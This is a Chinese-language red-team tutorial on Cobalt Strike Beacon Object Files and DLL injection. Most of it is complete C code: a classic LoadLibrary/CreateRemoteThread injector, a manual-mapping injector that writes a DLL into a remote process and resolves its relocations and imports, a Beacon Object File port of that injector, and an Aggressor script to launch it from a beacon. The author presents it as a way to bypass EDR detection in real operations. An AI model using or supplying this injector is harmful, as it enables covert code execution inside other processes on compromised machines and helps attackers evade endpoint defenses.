信标对象文件 (BOF) 是一个已编译的 C 程序,按照约定编写,允许在信标进程中执行并使用内部信标 API。
BOF 也非常小。一个 UAC 绕过特权提升反射 DLL 实现可能会达到 100KB+。但是如果我们使用 BOF 那么为<3KB。在DNS通道种非常适合,BOF 易于开发。只需要一个 Win32 C 编译器和一个命令行。
MinGW 和微软的 C 编译器都可以生成 BOF 文件。
对于 Beacon 来说,BOF 只是一个位置无关的代码块,它指向 Beacon 内部 API 的指针。对于 Cobalt Strike 而言,BOF 是由 C 编译器生成的目标文件。Cobalt Strike 解析此文件并充当其内容的链接器和加载器。
BOF 的缺点
BOF 是调用 Win32 API 和有限 Beacon API 的单文件 C 程序。不能用来构建大型项目。
Cobalt Strike 不会将 BOF 链接到 libc。我们限于编译器内部函数(例如,Visual Studio 上的 __stosb for memset)、公开的 Beacon 内部 API、Win32 API 以及自行编写的函数。可能无法通过 BOF 使用许多常用函数(例如 strlen、stcmp 等)。
BOF 在 Beacon 内部执行。如果 BOF 崩溃,将失去这个shell。
DLL 加载
dllinject Inject a Reflective DLL into a process
dllload Load DLL into a process with LoadLibrary()
我们将从两个模块中较简单的 dllload 开始。该模块通过打开我们要注入的进程的句柄来工作。然后我们通过 GetProcAddress 获取内存中 LoadLibrary 的地址。从这里开始,在远程进程中分配了一页内存;将完整的 dll 路径写入新分配的缓冲区。最后,我们在远程进程中创建一个线程,它以 dll 路径作为参数调用 LoadLibrary。
代码形:
BOOL InjectDll(DWORD procID, char* dllName){
char fullDllName[MAX_PATH];
LPVOID loadLibrary;
LPVOID remoteString;
if (procID == 0) {
return FALSE;
}
HANDLE hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, procID);
if (hProc == INVALID_HANDLE_VALUE) {
return FALSE;
}
GetFullPathNameA(dllName, MAX_PATH, fullDllName, NULL);
std::cout << "[+] Aquired full DLL path: " << fullDllName << std::endl;
loadLibrary = (LPVOID)GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA");
remoteString = VirtualAllocEx(hProc, NULL, strlen(fullDllName), MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
WriteProcessMemory(hProc, remoteString, fullDllName, strlen(fullDllName), NULL);
CreateRemoteThread(hProc, NULL, NULL, (LPTHREAD_START_ROUTINE)loadLibrary, (LPVOID)remoteString, NULL, NULL);
CloseHandle(hProc);
return TRUE;
}
在这个手法中,我们需要注意的是:
1.必须将 DLL 放入磁盘,DLL落地并不是很好。
2.LoadLibrary 可以挂在远程进程中,阻止我们的注入。
3.注入时会创建新线程。
4.即使进程从 PEB 中删除,NtQueryVirtualMemory 也可以找到 dll,因为它链接到内核中的 EPROCESS 结构。
蓝队和EDR非常简单就可以检测到我们的恶意DLL。
DLL 注入
Cobalt 的 DLL 注入模块解决了上一节提到的很多问题。DLL 注入,或反射 dll 注入,本质上是 LoadLibrary WINAPI 函数的实现。由于我们自己实现了 LoadLibrary,它自然比 DLL Load 技术更隐蔽。
这样做有几个优点。首先,新模块不会添加到 PEB,即不会显示为加载的模块。其次,加载的 dll 不必落地直接在内存中加载就行。
最后,我们绕过可能放置在 LoadLibrary 或 LdrLoadDll 上的任何钩子,它们可能用于检测阻止我们的注入。
cobalt Strike 使用的是反射 dll 注入,其想法是将 dll 复制到远程进程,然后将执行传递给实现以下内容的导出函数:
解析 PE 标头。
如果需要,重新定位偏移量。
解决任何依赖关系。
调用 DLL 入口点 (DllMain)。
这种技术非常有效并且相当安全。然而,我在这个实现中遇到的主要问题是你必须在你的 dll 中包含反射 dll 加载器代码,本质上意味着我们已经包含了一个导出函数,该函数将修复 IAT(导入地址表)和任何必须重新定位的完成以便 PE 正确运行。
创建注入器
既然我们已经了解了 Cobalt Strike 如何处理 dll 注入,我们可以开始考虑基于Cobalt Strike使用的反射 dll 注入技术创建我们自己的注入器,同时让它在我们的任何 dll 上工作,而无需任何预配置,或访问原始源代码。
为了创建这个注入器,我将使用一种稍微不同的技术,称为手动映射,它执行与反射 dll 注入相同的步骤,处理重定位和动态加载依赖项(等),但所有这些都来自注入器,因此 dll不必包含任何额外的代码。
// Include windows API functions
#include <Windows.h>
// Define api functions so that they can be used with GetProcAddress without the
// compiler complaining
typedef HMODULE(__stdcall* pLoadLibraryA)(LPCSTR);
typedef FARPROC(__stdcall* pGetProcAddress)(HMODULE, LPCSTR);
// Dll main typedef so that we can invoke it properly from the injector
typedef INT(__stdcall* dllmain)(HMODULE, DWORD, LPVOID);
// Stucture to be passed to the remote process so it has
// somewhere to start from
struct RemoteData
{
LPVOID ImageBase;
PIMAGE_NT_HEADERS NtHeaders;
PIMAGE_BASE_RELOCATION BaseReloc;
PIMAGE_IMPORT_DESCRIPTOR ImportDirectory;
pLoadLibraryA fnLoadLibraryA;
pGetProcAddress fnGetProcAddress;
};
// Called in the remote process to handle image relocations and imports
DWORD __stdcall LibraryLoader(LPVOID Memory)
{
RemoteData* remoteParams = (RemoteData*)Memory;
PIMAGE_BASE_RELOCATION pIBR = remoteParams->BaseReloc;
DWORD64 delta = (DWORD64)((LPBYTE)remoteParams->ImageBase - remoteParams->NtHeaders->OptionalHeader.ImageBase); // Calculate the delta
// Iterate over relocations
while (pIBR->VirtualAddress)
{
if (pIBR->SizeOfBlock >= sizeof(IMAGE_BASE_RELOCATION))
{
int count = (pIBR->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(DWORD);
PWORD list = (PWORD)(pIBR + 1);
for (int i = 0; i < count; i++)
{
if (list[i])
{
PDWORD64 ptr = (PDWORD64)((LPBYTE)remoteParams->ImageBase + (pIBR->VirtualAddress + (list[i] & 0xFFF)));
*ptr += delta;
}
}
}
pIBR = (PIMAGE_BASE_RELOCATION)((LPBYTE)pIBR + pIBR->SizeOfBlock);
}
PIMAGE_IMPORT_DESCRIPTOR pIID = remoteParams->ImportDirectory;
// Resolve DLL imports
while (pIID->Characteristics)
{
PIMAGE_THUNK_DATA OrigFirstThunk = (PIMAGE_THUNK_DATA)((LPBYTE)remoteParams->ImageBase + pIID->OriginalFirstThunk);
PIMAGE_THUNK_DATA FirstThunk = (PIMAGE_THUNK_DATA)((LPBYTE)remoteParams->ImageBase + pIID->FirstThunk);
HMODULE hModule = remoteParams->fnLoadLibraryA((LPCSTR)remoteParams->ImageBase + pIID->Name);
if (!hModule)
return FALSE;
while (OrigFirstThunk->u1.AddressOfData)
{
if (OrigFirstThunk->u1.Ordinal & IMAGE_ORDINAL_FLAG)
{
// Import by ordinal
DWORD64 Function = (DWORD64)remoteParams->fnGetProcAddress(hModule,
(LPCSTR)(OrigFirstThunk->u1.Ordinal & 0xFFFF));
if (!Function)
return FALSE;
FirstThunk->u1.Function = Function;
}
else
{
// Import by name
PIMAGE_IMPORT_BY_NAME pIBN = (PIMAGE_IMPORT_BY_NAME)((LPBYTE)remoteParams->ImageBase + OrigFirstThunk->u1.AddressOfData);
DWORD64 Function = (DWORD64)remoteParams->fnGetProcAddress(hModule, (LPCSTR)pIBN->Name);
if (!Function)
return FALSE;
FirstThunk->u1.Function = Function;
}
OrigFirstThunk++;
FirstThunk++;
}
pIID++;
}
// Finally call cast our entry point address to our dllMain typedef
if (remoteParams->NtHeaders->OptionalHeader.AddressOfEntryPoint)
{
dllmain EntryPoint = (dllmain)((LPBYTE)remoteParams->ImageBase + remoteParams->NtHeaders->OptionalHeader.AddressOfEntryPoint);
return EntryPoint((HMODULE)remoteParams->ImageBase, DLL_PROCESS_ATTACH, NULL); // Call the entry point
}
return TRUE;
}
DWORD __stdcall stub()
{
return 0;
}
int main()
{
// Can use argc and argv rather than hard coding
LPCSTR dll = "<INSERT_DLL_HERE>";
// Get the process ID
DWORD procId = FindProcessId("<Target_Process>");
RemoteData remoteParams;
// Loads the dll into memory if implementing a beacon file we would start here
PVOID dllBuffer = LoadFileIntoMem(dll);
// Find the DOS Header
PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)dllBuffer;
// Find the NT Header from the e_lfanew attribute
PIMAGE_NT_HEADERS pNtHeaders = (PIMAGE_NT_HEADERS)((LPBYTE)dllBuffer + pDosHeader->e_lfanew);
// Open a proc use less perms for an actual operation
HANDLE hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, procId);
// Allocate a section of memory the size of the dll
PVOID pModAddress = VirtualAllocEx(hProc, NULL, pNtHeaders->OptionalHeader.SizeOfImage,
MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
// Write the headers to the remote process
WriteProcessMemory(hProc, pModAddress, dllBuffer,
pNtHeaders->OptionalHeader.SizeOfHeaders, NULL);
// Copying sections of the dll to the target process
PIMAGE_SECTION_HEADER pSectHeader = (PIMAGE_SECTION_HEADER)(pNtHeaders + 1);
for (int i = 0; i < pNtHeaders->FileHeader.NumberOfSections; i++)
{
WriteProcessMemory(hProc, (PVOID)((LPBYTE)pModAddress + pSectHeader[i].VirtualAddress),
(PVOID)((LPBYTE)dllBuffer + pSectHeader[i].PointerToRawData), pSectHeader[i].SizeOfRawData, NULL);
}
// Allocating memory for the loader code.
PVOID loaderMem = VirtualAllocEx(hProc, NULL, 4096, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
// Assign values to remote struct
remoteParams.ImageBase = pModAddress;
remoteParams.NtHeaders = (PIMAGE_NT_HEADERS)((LPBYTE)pModAddress + pDosHeader->e_lfanew);
remoteParams.BaseReloc = (PIMAGE_BASE_RELOCATION)((LPBYTE)pModAddress
+ pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress);
remoteParams.ImportDirectory = (PIMAGE_IMPORT_DESCRIPTOR)((LPBYTE)pModAddress
+ pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress);
remoteParams.fnLoadLibraryA = LoadLibraryA;
remoteParams.fnGetProcAddress = GetProcAddress;
// Write remote attributes to the process for our loader code to use
WriteProcessMemory(hProc, loaderMem, &remoteParams, sizeof(RemoteData), NULL);
WriteProcessMemory(hProc, (PVOID)((RemoteData*)loaderMem + 1), LibraryLoader,
(DWORD64)stub - (DWORD64)LibraryLoader, NULL);
// Create a remote thread in the process and start execution at the loader function
HANDLE hThread = CreateRemoteThread(hProc, NULL, 0, (LPTHREAD_START_ROUTINE)((RemoteData*)loaderMem + 1),
loaderMem, 0, NULL);
// Wait for the loader to finish
WaitForSingleObject(hThread, INFINITE);
// Clean up
VirtualFreeEx(hProc, loaderMem, 0, MEM_RELEASE);
CloseHandle(hProc);
return 0;
}
使用这个示例代码,我们可以开始使用钴罢工的信标对象文件创建一个实现。
信标对象文件只是标准的 C 文件,允许执行 WinAPI 函数以及在“beacon.h”中定义的附加信标函数。
例如:
#include "beacon.h"
void go(char* buff, int len)
{
BeaconPrintf(CALLBACK_OUTPUT, "Working BOF");
}
然后使用此 MinGW 命令将其编译。
# for 32-bit
i686-w64-mingw32-gcc -c inject.c -o inject.o
# for 64-bit
x86_64-w64-mingw32-gcc -c inject.c -o inject.o
这里是使用Vs的来进行编译:
cl.exe /c /GS- hello.c /Fohello.o
beacon> inline-execute /path/to/hello.o
现在我们有了一个基本的目标文件,我们可以使用aggressor 脚本创建一个脚本,这样我们就不必每次想要使用我们的注入器时都输入 inline-execute 命令。我想出了以下内容,它接受文件路径的参数并将文件路径中的数据发送到我们的 BOF。
alias mandllinject {
local('$handle $data $args $fileData');
# figure out the arch of this session
$barch = barch($1);
# read in the right BOF file
$handle = openf(script_resource("inject.o"));
$data = readb($handle, -1);
closef($handle);
$dll_handle = openf($2);
$file_data = readb($dll_handle, -1);
closef($dll_handle);
# pack our arguments
$args = bof_pack($1, "bi", $file_data, $3);
btask($1, "Manual DLL Inject - @tomcarver_");
# execute it.
beacon_inline_execute($1, $data, "go", $args);
}
mandllinject <path_to_dll> <procId>
运行上面的命令将导致“testdll.dll”文件被传递给我们的信标。我可以通过在我们的 BOF 中输出有效负载中的第一个字符串来验证它是否有效,它应该是“MZ”,因为所有 PE 文件都以魔术字节“\x4D\x5A”开头。
现在需要做的就是重新实现之前以信标形式的代码,只需将 WINAPI 函数转换为 CS 使用的特殊信标格式。
将之前的代码转换为与cobalt Attack 一起使用我最终得到了一个最小版本,它可以将一个dll 从内存迁移到一个远程进程。需要注意的一些事情是:它目前仅适用于 64 位进程,在 LibraryLoader 中将 DWORD64 移动到常规 DWORD(以及 DWORD 到 WORD),反之亦然以在 64 位和 32 位之间进行转换。
// Called in the remote process to handle image relocations and imports
DWORD __stdcall LibraryLoader(LPVOID Memory)
{
// Same as before.
}
DWORD __stdcall stub()
{
return 0;
}
void go(char* argv, int argc)
{
PVOID dllBuffer;
char* sc_ptr;
int sc_len, procId;
RemoteData remoteParams;
datap parser;
BeaconDataParse(&parser, argv, argc);
sc_len = BeaconDataLength(&parser);
sc_ptr = BeaconDataExtract(&parser, NULL);
procId = BeaconDataInt(&parser);
BeaconPrintf(CALLBACK_OUTPUT, "DLL Size %d", sc_len);
BeaconPrintf(CALLBACK_OUTPUT, "Opening handle to process ID: %d", procId);
dllBuffer = (PVOID)sc_ptr;
// Get DOS Header
PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)dllBuffer;
// Find the NT Header from the e_lfanew attribute
PIMAGE_NT_HEADERS pNtHeaders = (PIMAGE_NT_HEADERS)((LPBYTE)dllBuffer + pDosHeader->e_lfanew);
// Open a proc use less perms for an actual operation
HANDLE hProc = KERNEL32$OpenProcess(PROCESS_ALL_ACCESS, FALSE, procId);
// Allocate a section of memory the size of the dll
PVOID pModAddress = KERNEL32$VirtualAllocEx(hProc, NULL, pNtHeaders->OptionalHeader.SizeOfImage,
MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
// Write the headers to the remote process
KERNEL32$WriteProcessMemory(hProc, pModAddress, dllBuffer,
pNtHeaders->OptionalHeader.SizeOfHeaders, NULL);
// Copying sections of the dll to the target process
PIMAGE_SECTION_HEADER pSectHeader = (PIMAGE_SECTION_HEADER)(pNtHeaders + 1);
for (int i = 0; i < pNtHeaders->FileHeader.NumberOfSections; i++)
{
KERNEL32$WriteProcessMemory(hProc, (PVOID)((LPBYTE)pModAddress + pSectHeader[i].VirtualAddress),
(PVOID)((LPBYTE)dllBuffer + pSectHeader[i].PointerToRawData), pSectHeader[i].SizeOfRawData, NULL);
}
// Allocating memory for the loader code.
PVOID loaderMem = KERNEL32$VirtualAllocEx(hProc, NULL, 4096, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
// Assign values to remote struct
remoteParams.ImageBase = pModAddress;
remoteParams.NtHeaders = (PIMAGE_NT_HEADERS)((LPBYTE)pModAddress + pDosHeader->e_lfanew);
remoteParams.BaseReloc = (PIMAGE_BASE_RELOCATION)((LPBYTE)pModAddress
+ pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress);
remoteParams.ImportDirectory = (PIMAGE_IMPORT_DESCRIPTOR)((LPBYTE)pModAddress
+ pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress);
remoteParams.fnLoadLibraryA = LoadLibraryA;
remoteParams.fnGetProcAddress = GetProcAddress;
// Write remote attributes to the process for our loader code to use
KERNEL32$WriteProcessMemory(hProc, loaderMem, &remoteParams, sizeof(RemoteData), NULL);
KERNEL32$WriteProcessMemory(hProc, (PVOID)((RemoteData*)loaderMem + 1), LibraryLoader,
(DWORD64)stub - (DWORD64)LibraryLoader, NULL);
// Create a remote thread in the process and start execution at the loader function
HANDLE hThread = KERNEL32$CreateRemoteThread(hProc, NULL, 0, (LPTHREAD_START_ROUTINE)((RemoteData*)loaderMem + 1),
loaderMem, 0, NULL);
BeaconPrintf(CALLBACK_OUTPUT, "Finished injecting DLL.");
// Clean up
KERNEL32$CloseHandle(hProc);
return;
}
后记
一种不同于CobaltStrike攻击使用的注入技术,可以用来绕过一些EDR的检测,在实战中使用还得修改修改。